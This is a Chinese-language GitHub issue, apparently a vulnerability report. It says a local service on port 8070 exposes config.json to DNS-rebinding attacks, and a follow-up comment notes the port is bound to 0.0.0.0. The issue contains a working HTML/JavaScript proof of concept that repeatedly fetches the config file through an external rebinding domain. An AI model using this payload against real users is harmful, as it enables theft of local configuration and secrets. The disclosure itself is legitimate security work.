通过dns rebinding可以获取8070端口的配置文件 #256

JKme · 2019-06-05T02:30:39Z

漏洞和这个内容类似: https://xlab.tencent.com/cn/2018/10/23/weixin-cheater-risks/

在本地起了web服务之后，可以通过dns rebinding绕过SOP限制，获取config.json文件。mac上大概是等1分多钟。

测试代码借的这里: https://0x0d.im/archives/get-visitor-qq-number-through-dns-rebinding.html

<!DCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Rebind Test</title>
    </head>
    <body>
        <script src="http://upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script>
        <script>
        function GetUin(){
	    console.log("Testing");
            $.ajax({
            url: "http://rebind.0x80.xyz:8070/config.json",
            type: "GET",
            dataType: "text",
            success: function(data){
                alert(data);
		console.log(data);
                }
            });
        }
        setTimeout("GetUin()", 5000);
	setTimeout("GetUin()", 7000);
	setTimeout("GetUin()", 8000);
	setTimeout("GetUin()", 30000);
        setTimeout("GetUin()", 60000);
        setTimeout("GetUin()", 90000);
        </script>
    </body>
    </html>

The text was updated successfully, but these errors were encountered:

zou2699 · 2019-06-11T02:16:01Z

目前这个8070端口绑定的是0.0.0.0，这个可能十分的危险

Phuker mentioned this issue Jun 9, 2019

[功能建议] 关闭http://127.0.0.1:PORT/config.json显示当前配置信息 #216

Open

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

通过dns rebinding可以获取8070端口的配置文件 #256

通过dns rebinding可以获取8070端口的配置文件 #256

JKme commented Jun 5, 2019

zou2699 commented Jun 11, 2019

通过dns rebinding可以获取8070端口的配置文件 #256

通过dns rebinding可以获取8070端口的配置文件 #256

Comments

JKme commented Jun 5, 2019

zou2699 commented Jun 11, 2019